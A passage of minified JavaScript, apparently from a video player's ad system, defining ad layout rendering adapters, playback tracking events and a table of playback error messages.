layout:{configurable:!0,enumerable:!0,get:function(){return this.Z.layout}}});z$.prototype.bf=function(x,T){T=T===void 0?!1:T;var t=(this.j.get(x)||[]).concat();if(T=T&&eJD(x)){var u=this.j.get(T);u&&t.push.apply(t,g.U(u))}he(this,x,t);this.C.add(x);T&&this.C.add(T)};
z$.prototype.W9=function(x,T){T=T===void 0?!1:T;if(!this.C.has(x)){var t=T&&eJD(x);t&&(T=!this.C.has(t));this.bf(x,T)}};g.P(dS4,u9);g.P(nH,R7);g.q=nH.prototype;g.q.lq=function(x,T){Ym("ads-engagement-panel-layout",x,this.D.get().PE,this.RU.get(),this.K,this.T,this.e8(),this.wy(),T)};
g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),g.N(this.wy().renderingContent,Hb),this.callback,"metadata_type_ads_engagement_panel_layout_view_model",function(T,t,u,H,I){return new dS4(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(x,T){this.T===T.layoutId&&(this.K===null?this.K=this.RU.get().Jp():E3("OnLayoutEntered should set engagePingCallback, but it was not null",this.slot,this.layout))};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};g.P(A3J,u9);g.P(a7,R7);g.q=a7.prototype;g.q.lq=function(x,T){Ym("banner-image",x,this.D.get().PE,this.RU.get(),this.K,this.T,this.e8(),this.wy(),T)};
g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),g.N(this.wy().renderingContent,uC),this.callback,"metadata_type_banner_image_layout_view_model",function(T,t,u,H,I){return new A3J(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(x,T){this.T===T.layoutId&&(this.K===null?this.K=this.RU.get().Jp():E3("OnLayoutEntered should set engagePingCallback, but it was not null",this.slot,this.layout))};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};g.P(g6,u9);g.P(Bv,R7);g.q=Bv.prototype;g.q.lq=function(x,T){Ym("action-companion",x,this.D.get().PE,this.RU.get(),this.K,this.T,this.e8(),this.wy(),T)};
g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),g.N(this.wy().renderingContent,oj),this.callback,"metadata_type_action_companion_ad_renderer",function(T,t,u,H,I){return new g6(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(x,T){T.layoutId===this.layout.layoutId?this.eY.W9("impression"):this.T===T.layoutId&&(this.K===null?this.K=this.RU.get().Jp():E3("OnLayoutEntered should set engagePingCallback, but it was not null",this.slot,this.layout))};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};g.P(SVC,u9);g.P(Wv,R7);g.q=Wv.prototype;g.q.lq=function(x,T){Ym("image-companion",x,this.D.get().PE,this.RU.get(),this.K,this.T,this.e8(),this.wy(),T)};
g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),g.N(this.wy().renderingContent,t4),this.callback,"metadata_type_image_companion_ad_renderer",function(T,t,u,H,I){return new SVC(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(x,T){T.layoutId===this.layout.layoutId?this.eY.W9("impression"):this.T===T.layoutId&&(this.K===null?this.K=this.RU.get().Jp():E3("OnLayoutEntered should set engagePingCallback, but it was not null",this.slot,this.layout))};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};g.P(YV3,u9);g.P(Dk,R7);g.q=Dk.prototype;g.q.lq=function(x,T){Ym("shopping-companion",x,this.D.get().PE,this.RU.get(),this.K,this.T,this.e8(),this.wy(),T)};
g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),void 0,this.callback,"metadata_type_shopping_companion_carousel_renderer",function(T,t,u,H,I){return new YV3(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(x,T){T.layoutId===this.layout.layoutId?this.eY.W9("impression"):this.T===T.layoutId&&(this.K===null?this.K=this.RU.get().Jp():E3("OnLayoutEntered should set engagePingCallback, but it was not null",this.slot,this.layout))};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};g.P(NA,R7);g.q=NA.prototype;g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),void 0,this.callback,"metadata_type_action_companion_ad_renderer",function(T,t,u,H,I){return new g6(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(){};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};
g.q.lq=function(){};g.q=Fo3.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.init=function(){this.IU.get().addListener(this);this.IU.get().eG.push(this);var x=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),T=uS(this.layout.clientMetadata,"metadata_type_active_view_traffic_type");Uu(this.layout.uN)&&o5(this.H9.get(),this.layout.layoutId,{Fl:T,Eb:x,listener:this})};
g.q.release=function(){this.IU.get().removeListener(this);eCm(this.IU.get(),this);Uu(this.layout.uN)&&tz(this.H9.get(),this.layout.layoutId)};
g.q.startRendering=function(x){this.callback.bN(this.slot,x)};
g.q.zy=function(x,T){gEH(this.Lf.get())&&!this.C&&(this.eY.W9("abandon"),this.C=!0);this.callback.Ts(this.slot,x,T)};
g.q.AI=function(x){switch(x.id){case "part2viewed":this.eY.W9("start");this.eY.W9("impression");break;case "videoplaytime25":this.eY.W9("first_quartile");break;case "videoplaytime50":this.eY.W9("midpoint");break;case "videoplaytime75":this.eY.W9("third_quartile");break;case "videoplaytime100":gEH(this.Lf.get())?this.C||(this.eY.W9("complete"),this.C=!0):this.eY.W9("complete");LH(this.eY)&&Vg(this.eY,Infinity,!0);Bfq(this.Lf.get())&&yg(this.Z,Infinity,!0);break;case "engagedview":LH(this.eY)||this.eY.W9("progress");
break;case "conversionview":case "videoplaybackstart":case "videoplayback2s":case "videoplayback10s":break;default:E3("Cue Range ID unknown in DiscoveryLayoutRenderingAdapter",this.slot,this.layout)}};
g.q.onVolumeChange=function(){};
g.q.zC=function(){};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.onFullscreenToggled=function(){};
g.q.Vl=function(){};
g.q.Gc=function(){};
g.q.yE=function(x){Bfq(this.Lf.get())&&yg(this.Z,x*1E3,!1);LH(this.eY)&&Vg(this.eY,x*1E3,!1)};
g.q.JI=function(){};
g.q.uL=function(){this.eY.W9("active_view_measurable")};
g.q.xR=function(){this.eY.W9("active_view_viewable")};
g.q.Lu=function(){this.eY.W9("active_view_fully_viewable_audible_half_duration")};
g.q.dw=function(){this.eY.W9("audio_measurable")};
g.q.Ku=function(){this.eY.W9("audio_audible")};g.P(Je,R7);g.q=Je.prototype;g.q.init=function(){R7.prototype.init.call(this);var x=uS(this.layout.clientMetadata,"metadata_type_instream_ad_player_overlay_renderer"),T={adsClientData:this.layout.FV};this.C.push(new A9(x,this.layout.layoutId,uS(this.layout.clientMetadata,"METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds"),T,!0))};
g.q.E$=function(){this.K||this.IU.get().resumeVideo(1)};
g.q.startRendering=function(x){R7.prototype.startRendering.call(this,x);Eg(this.IU.get(),"ad-showing");this.callback.bN(this.slot,x);this.T.q4=this};
g.q.zy=function(x,T){R7.prototype.zy.call(this,x,T);qs(this.IU.get(),"ad-showing");pL(this.T,this)};
g.q.lq=function(x){switch(x){case "ad-info-icon-button":(this.K=this.IU.get().z2(1))||this.IU.get().pauseVideo();break;case "visit-advertiser":this.IU.get().pauseVideo()}};
g.q.oU=function(){R7.prototype.oU.call(this)};g.P(CH,u9);g.P(Qg,R7);g.q=Qg.prototype;g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),void 0,this.callback,"metadata_type_top_banner_image_text_icon_buttoned_layout_view_model",function(T,t,u,H,I){return new CH(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(){};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};
g.q.lq=function(){};g.P(pH,u9);g.P(Ou,R7);Ou.prototype.init=function(){R7.prototype.init.call(this);this.C.push(new pH(g.N(this.layout.renderingContent,zO),this.layout.layoutId,{adsClientData:this.layout.FV}))};
Ou.prototype.lq=function(){ks(this.K.get(),this.T)&&cv(this.RU.get(),3)};
Ou.prototype.startRendering=function(x){R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x)};
Ou.prototype.oU=function(){R7.prototype.oU.call(this)};g.P(fH,u9);g.P(w6,R7);w6.prototype.init=function(){R7.prototype.init.call(this);var x=g.N(this.layout.renderingContent,Eq)||uS(this.layout.clientMetadata,"metadata_type_ad_action_interstitial_renderer"),T=Pv(this.eY);this.C.push(new fH(x,T,this.layout.layoutId,{adsClientData:this.layout.FV},!0,!0))};
w6.prototype.startRendering=function(x){R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x)};
w6.prototype.lq=function(x,T){if(T===this.layout.layoutId)switch(x){case "skip-button":var t;(x=(t=uS(this.layout.clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref"))==null?void 0:t.current)&&x.Qy(this.e8(),this.layout)}};
w6.prototype.oU=function(){R7.prototype.oU.call(this)};Xv.prototype.build=function(x,T,t,u){if(KH(u,{yI:["metadata_type_ad_break_response_data"],jV:["LAYOUT_TYPE_AD_BREAK_RESPONSE","LAYOUT_TYPE_THROTTLED_AD_BREAK_RESPONSE"]}))return new iKm(x,t,u,this.Z,this.j,this.C);throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in AdBreakRequestLayoutRenderingAdapterFactory.");};g.P(VbD,u9);g.P(xX,R7);g.q=xX.prototype;g.q.lq=function(x,T){Ym("ads-engagement-panel",x,this.D.get().PE,this.RU.get(),this.K,this.T,this.e8(),this.wy(),T)};
g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),g.N(this.wy().renderingContent,sF),this.callback,"metadata_type_ads_engagement_panel_renderer",function(T,t,u,H,I){return new VbD(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(x,T){T.layoutId===this.layout.layoutId?this.eY.W9("impression"):this.T===T.layoutId&&(this.K===null?this.K=this.RU.get().Jp():E3("OnLayoutEntered should set engagePingCallback, but it was not null",this.slot,this.layout))};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};g.P(TY,R7);g.q=TY.prototype;g.q.lq=function(x,T){Ym("top-banner-image-text-icon-buttoned",x,this.D.get().PE,this.RU.get(),this.K,this.T,this.e8(),this.wy(),T)};
g.q.startRendering=function(x){Sa(this.eY,this.e8(),this.wy(),g.N(this.wy().renderingContent,$Y),this.callback,"metadata_type_top_banner_image_text_icon_buttoned_layout_view_model",function(T,t,u,H,I){return new CH(T,t,u,H,I)},this.C);
R7.prototype.startRendering.call(this,x)};
g.q.bN=function(x,T){this.T===T.layoutId&&(this.K===null?this.K=this.RU.get().Jp():E3("OnLayoutEntered should set engagePingCallback, but it was not null",this.slot,this.layout))};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.oU=function(){mA(this.jg(),this);R7.prototype.oU.call(this)};nBV.prototype.build=function(x,T,t,u){if(KH(u,GQi())||g.N(u.renderingContent,sF)!==void 0)return new xX(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);if(KH(u,P9m())||g.N(u.renderingContent,oj)!==void 0)return new Bv(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);if(KH(u,c3D())||g.N(u.renderingContent,t4)!==void 0)return new Wv(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);if(KH(u,USD()))return new Dk(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);if(KH(u,kQH()))return new NA(x,t,u,this.UF,this.RU,this.jg,
this.H9,this.C);if(KH(u,RJV())||g.N(u.renderingContent,uC)!==void 0)return new a7(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);if(KH(u,Lo3())||g.N(u.renderingContent,$Y)!==void 0)return new TY(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);if(KH(u,hJ4()))return new Qg(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);if(KH(u,Mbm())||g.N(u.renderingContent,Hb)!==void 0)return new nH(x,t,u,this.UF,this.RU,this.jg,this.H9,this.C);throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+
$v(u.clientMetadata)+" in DesktopAboveFeedLayoutRenderingAdapterFactory.");};aJH.prototype.build=function(x,T,t,u){if(KH(u,{yI:["metadata_type_linked_player_bytes_layout_id"],jV:["LAYOUT_TYPE_DISPLAY_UNDERLAY_TEXT_GRID_CARDS"]}))return new Ou(x,t,u,this.UF,this.RU,this.C);throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in DesktopPlayerUnderlayLayoutRenderingAdapterFactory.");};g.q=gB5.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.init=function(){};
g.q.release=function(){};
g.q.startRendering=function(x){x.layoutId!==this.layout.layoutId?this.callback.dn(this.slot,x,new th("Tried to start rendering an unknown layout, this adapter requires LayoutId: "+this.layout.layoutId+("and LayoutType: "+this.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED"):(this.callback.bN(this.slot,x),this.eY.W9("impression"),pi(this.Am,x,"normal"))};
g.q.zy=function(x,T){x.layoutId!==this.layout.layoutId?this.callback.dn(this.slot,x,new th("Tried to stop rendering an unknown layout, this adapter requires LayoutId: "+this.layout.layoutId+("and LayoutType: "+this.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_EXIT_LAYOUT_FAILED"):this.callback.Ts(this.slot,x,T)};g.q=WoD.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.init=function(){};
g.q.release=function(){};
g.q.startRendering=function(x){x.layoutId!==this.layout.layoutId?this.callback.dn(this.slot,x,new th("Tried to start rendering an unknown layout, this adapter requires LayoutId: "+this.layout.layoutId+("and LayoutType: "+this.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED"):(this.callback.bN(this.slot,x),this.eY.W9("impression"),pi(this.Am,x,"normal"))};
g.q.zy=function(x,T){x.layoutId!==this.layout.layoutId?this.callback.dn(this.slot,x,new th("Tried to stop rendering an unknown layout, this adapter requires LayoutId: "+this.layout.layoutId+("and LayoutType: "+this.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_EXIT_LAYOUT_FAILED"):this.callback.Ts(this.slot,x,T)};oS.prototype.build=function(x,T,t,u){if(!this.Lf.get().U.Y().B("h5_optimize_forcasting_slot_layout_creation_with_trimmed_metadata")){if(KH(u,BrD()))return new gB5(x,t,u,this.RU,this.Am)}else if(KH(u,{yI:[],jV:["LAYOUT_TYPE_FORECASTING"]}))return new WoD(x,t,u,this.RU,this.Am);throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in ForecastingLayoutRenderingAdapterFactory.");};g.P(NrD,u9);g.P(tE,R7);g.q=tE.prototype;g.q.init=function(){R7.prototype.init.call(this);var x=g.N(this.layout.renderingContent,IS)||uS(this.layout.clientMetadata,"metadata_type_player_overlay_layout_renderer"),T={adsClientData:this.layout.FV};this.C.push(new NrD(x,uS(this.layout.clientMetadata,"METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds"),this.layout.layoutId,T))};
g.q.E$=function(){this.K||this.IU.get().resumeVideo(2)};
g.q.startRendering=function(x){R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x);this.T.q4=this};
g.q.zy=function(x,T){R7.prototype.zy.call(this,x,T);pL(this.T,this)};
g.q.lq=function(x){if(ks(this.D.get(),this.N))switch(x){case "visit-advertiser-link":cv(this.RU.get(),3)}switch(x){case "ad-mute-confirm-dialog-close-button":case "ad-feedback-undo-mute-button":case "ad-info-dialog-close-button":this.K||this.IU.get().resumeVideo(2);break;case "ad-info-icon-button":case "ad-player-overflow-button":(this.K=this.IU.get().z2(2))||this.IU.get().pauseVideo();break;case "visit-advertiser-link":this.IU.get().pauseVideo();J3f(this).Sr();break;case "skip-button":if(x=J3f(this),
this.layout.renderingContent&&!xv(this.layout.clientMetadata,"metadata_type_dai")||!x.tO){var T;(x=(T=uS(this.layout.clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref"))==null?void 0:T.current)&&x.Qy(this.e8(),this.layout)}else E3("Requesting to skip by LegacyPlayerBytes when components enabled"),x.yb(this.e8(),this.layout)}};
g.q.oU=function(){R7.prototype.oU.call(this)};g.P(sq,R7);g.q=sq.prototype;g.q.init=function(){R7.prototype.init.call(this);var x=g.N(this.layout.renderingContent,iF)||uS(this.layout.clientMetadata,"metadata_type_instream_ad_player_overlay_renderer"),T={adsClientData:this.layout.FV},t;(t=!!this.layout.renderingContent)||(t=!uF(this).tO);this.C.push(new A9(x,this.layout.layoutId,uS(this.layout.clientMetadata,"METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds"),T,t))};
g.q.E$=function(){this.K||this.IU.get().resumeVideo(2)};
g.q.startRendering=function(x){R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x);this.T.q4=this};
g.q.zy=function(x,T){R7.prototype.zy.call(this,x,T);pL(this.T,this)};
g.q.lq=function(x){if(ks(this.D.get(),this.N))switch(x){case "visit-advertiser":cv(this.RU.get(),3)}switch(x){case "ad-mute-confirm-dialog-close-button":case "ad-feedback-undo-mute-button":case "ad-info-dialog-close-button":this.K||this.IU.get().resumeVideo(2);break;case "ad-info-icon-button":case "ad-player-overflow-button":(this.K=this.IU.get().z2(2))||this.IU.get().pauseVideo();break;case "visit-advertiser":this.IU.get().pauseVideo();uF(this).Sr();break;case "skip-button":if(x=uF(this),this.layout.renderingContent&&
!xv(this.layout.clientMetadata,"metadata_type_dai")||!x.tO){var T;(x=(T=uS(this.layout.clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref"))==null?void 0:T.current)&&x.Qy(this.e8(),this.layout)}else E3("Requesting to skip by LegacyPlayerBytes"),x.yb(this.e8(),this.layout)}};
g.q.oU=function(){R7.prototype.oU.call(this)};g.P(Q45,u9);g.P($X,R7);g.q=$X.prototype;g.q.startRendering=function(x){var T=this;Ae(this.Z,x,function(){T.C.push(new Q45(uS(T.layout.clientMetadata,"metadata_type_valid_ad_message_renderer"),x.layoutId,x.FV));T.RK();T.callback.bN(T.slot,x);g.p(TB(T.IU.get(),1),512)&&T.callback.dn(T.e8(),T.wy(),new th("player is stuck during adNotify",void 0,"ADS_CLIENT_ERROR_MESSAGE_PLAYER_STUCK_DURING_ADNOTIFY"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED")})};
g.q.Gc=function(){};
g.q.Vl=function(x){if(x.state.isError()){var T;this.callback.dn(this.e8(),this.wy(),new th("A player error happened during adNotify",{playerErrorCode:(T=x.state.Eo)==null?void 0:T.errorCode},"ADS_CLIENT_ERROR_MESSAGE_PLAYER_ERROR_DURING_ADNOTIFY"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED")}};
g.q.onFullscreenToggled=function(){};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.zC=function(){};
g.q.onVolumeChange=function(){};
g.q.AI=function(){};
g.q.JI=function(){};
g.q.lq=function(){};g.P(OK4,u9);g.P(HU,R7);HU.prototype.init=function(){R7.prototype.init.call(this);var x=g.N(this.layout.renderingContent,qu),T=Pv(this.eY);this.C.push(new OK4(x,T,this.layout.layoutId,{adsClientData:this.layout.FV}))};
HU.prototype.startRendering=function(x){R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x)};
HU.prototype.lq=function(x,T){if(T===this.layout.layoutId)switch(x){case "skip-button":var t;(x=(t=uS(this.layout.clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref"))==null?void 0:t.current)&&x.Qy(this.e8(),this.layout)}};
HU.prototype.oU=function(){R7.prototype.oU.call(this)};fJm.prototype.build=function(x,T,t,u){if(x=Z6(x,t,u,this.UF,this.IU,this.RU,this.Z,this.C,this.Lf))return x;throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in OtherWebInPlayerLayoutRenderingAdapterFactory.");};g.q=lF.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.init=function(){this.IU.get().addListener(this);this.IU.get().eG.push(this);var x=this.layout.renderingContent?AH(this.Bv.get(),1).z4/1E3:uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),T=uS(this.layout.clientMetadata,"metadata_type_active_view_traffic_type"),t=uS(this.layout.clientMetadata,"metadata_type_active_view_identifier");Uu(this.layout.uN)&&o5(this.H9.get(),this.layout.layoutId,{Fl:T,Eb:x,listener:this,zr:t})};
g.q.release=function(){this.IU.get().removeListener(this);eCm(this.IU.get(),this);Uu(this.layout.uN)&&tz(this.H9.get(),this.layout.layoutId)};
g.q.startRendering=function(x){this.callback.bN(this.slot,x)};
g.q.zy=function(x,T){mc(this,"abandon");this.callback.Ts(this.slot,x,T)};
g.q.AI=function(x){switch(x.id){case "part2viewed":this.eY.W9("start");this.eY.W9("impression");break;case "videoplaytime25":this.eY.W9("first_quartile");break;case "videoplaytime50":this.eY.W9("midpoint");break;case "videoplaytime75":this.eY.W9("third_quartile");break;case "videoplaytime100":mc(this,"complete");LH(this.eY)&&Vg(this.eY,Infinity,!0);break;case "engagedview":LH(this.eY)||this.eY.W9("progress");break;case "conversionview":case "videoplaybackstart":case "videoplayback2s":case "videoplayback10s":break;
default:E3("Cue Range ID unknown in ShortsPlaybackTrackingLayoutRenderingAdapter",this.slot,this.layout)}};
g.q.onVolumeChange=function(){};
g.q.zC=function(){};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.onFullscreenToggled=function(){};
g.q.Vl=function(x){this.C||(g.j1(x,4)&&!g.j1(x,2)?vv(this.eY,"pause"):Zy(x,4)<0&&!(Zy(x,2)<0)&&vv(this.eY,"resume"))};
g.q.Gc=function(){};
g.q.yE=function(x){LH(this.eY)&&Vg(this.eY,x*1E3,!1)};
g.q.JI=function(){mc(this,"swipe")};
g.q.uL=function(){this.eY.W9("active_view_measurable")};
g.q.xR=function(){this.eY.W9("active_view_viewable")};
g.q.Lu=function(){this.eY.W9("active_view_fully_viewable_audible_half_duration")};
g.q.dw=function(){this.eY.W9("audio_measurable")};
g.q.Ku=function(){this.eY.W9("audio_audible")};wa3.prototype.build=function(x,T,t,u){if(t.slotType==="SLOT_TYPE_PLAYER_BYTES_SEQUENCE_ITEM"&&g.N(u.renderingContent,sfq)!==void 0)return new lF(x,t,u,this.IU,this.RU,this.Lf,this.H9,this.Bv);T=["metadata_type_ad_placement_config"];for(var H=g.S(km()),I=H.next();!I.done;I=H.next())T.push(I.value);if(KH(u,{yI:T,jV:["LAYOUT_TYPE_DISCOVERY_PLAYBACK_TRACKER"]}))return t.slotType==="SLOT_TYPE_PLAYER_BYTES_SEQUENCE_ITEM"?new lF(x,t,u,this.IU,this.RU,this.Lf,this.H9,this.Bv):new Fo3(x,t,u,this.IU,this.RU,
this.Rf,this.Lf,this.H9);throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in PlaybackTrackingLayoutRenderingAdapterFactory.");};var RS={contentCpn:"",Yq:new Map};H25.prototype.Kz=function(x,T){var t={};T=Object.assign({},T,(t.cc=this.LC.fB(),t));this.LC.U.kc(x,T)};var cCd,aW;
cCd={Amf:"ALREADY_PINNED_ON_A_DEVICE",AUTHENTICATION_EXPIRED:"AUTHENTICATION_EXPIRED",K0y:"AUTHENTICATION_MALFORMED",dgm:"AUTHENTICATION_MISSING",zMc:"BAD_REQUEST",lwv:"CAST_SESSION_DEVICE_MISMATCHED",OUW:"CAST_SESSION_VIDEO_MISMATCHED",yIy:"CAST_TOKEN_EXPIRED",IwG:"CAST_TOKEN_FAILED",Q4y:"CAST_TOKEN_MALFORMED",DgU:"CGI_PARAMS_MALFORMED",T_U:"CGI_PARAMS_MISSING",XE9:"DEVICE_FALLBACK",O_y:"GENERIC_WITH_LINK_AND_CPN",y$U:"ERROR_HDCP",IGm:"LICENSE",DbU:"VIDEO_UNAVAILABLE",fGu:"FORMAT_UNAVAILABLE",qUG:"GEO_FAILURE",
vXU:"HTML5_AUDIO_RENDERER_ERROR",SUU:"GENERIC_WITHOUT_LINK",i_9:"HTML5_NO_AVAILABLE_FORMATS_FALLBACK",b_U:"HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK",CMG:"HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK_SHORT",E$7:"HTML5_SPS_UMP_STATUS_REJECTED",PMU:"INVALID_DRM_MESSAGE",vGY:"PURCHASE_NOT_FOUND",SnU:"PURCHASE_REFUNDED",j8c:"RENTAL_EXPIRED",usu:"RETRYABLE_ERROR",IXZ:"SERVER_ERROR",nKj:"SIGNATURE_EXPIRED",GP7:"STOPPED_BY_ANOTHER_PLAYBACK",Ar9:"STREAMING_DEVICES_QUOTA_PER_24H_EXCEEDED",whY:"STREAMING_NOT_ALLOWED",
s8y:"STREAM_LICENSE_NOT_FOUND",esU:"TOO_MANY_REQUESTS",aXU:"TOO_MANY_REQUESTS_WITH_LINK",W3v:"TOO_MANY_STREAMS_PER_ENTITLEMENT",Xhu:"TOO_MANY_STREAMS_PER_USER",UNSUPPORTED_DEVICE:"UNSUPPORTED_DEVICE",Otj:"VIDEO_FORBIDDEN",y8m:"VIDEO_NOT_FOUND",xgv:"BROWSER_OR_EXTENSION_ERROR"};aW={};
g.fb=(aW.ALREADY_PINNED_ON_A_DEVICE="This video has already been downloaded on the maximum number of devices allowed by the copyright holder. Before you can play the video here, it needs to be unpinned on another device.",aW.DEVICE_FALLBACK="Sorry, this video is not available on this device.",aW.GENERIC_WITH_LINK_AND_CPN="An error occurred. Please try again later. (Playback ID: $CPN) $BEGIN_LINKLearn More$END_LINK",aW.LICENSE="Sorry, there was an error licensing this video.",aW.VIDEO_UNAVAILABLE=
"Video unavailable",aW.FORMAT_UNAVAILABLE="This video isn't available at the selected quality. Please try again later.",aW.GEO_FAILURE="This video isn't available in your country.",aW.HTML5_AUDIO_RENDERER_ERROR="Audio renderer error. Please restart your computer.",aW.GENERIC_WITHOUT_LINK="An error occurred. Please try again later.",aW.HTML5_NO_AVAILABLE_FORMATS_FALLBACK="This video format is not supported.",aW.HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK="Your browser does not currently recognize any of the video formats available. $BEGIN_LINKClick here to visit our frequently asked questions about HTML5 video.$END_LINK",
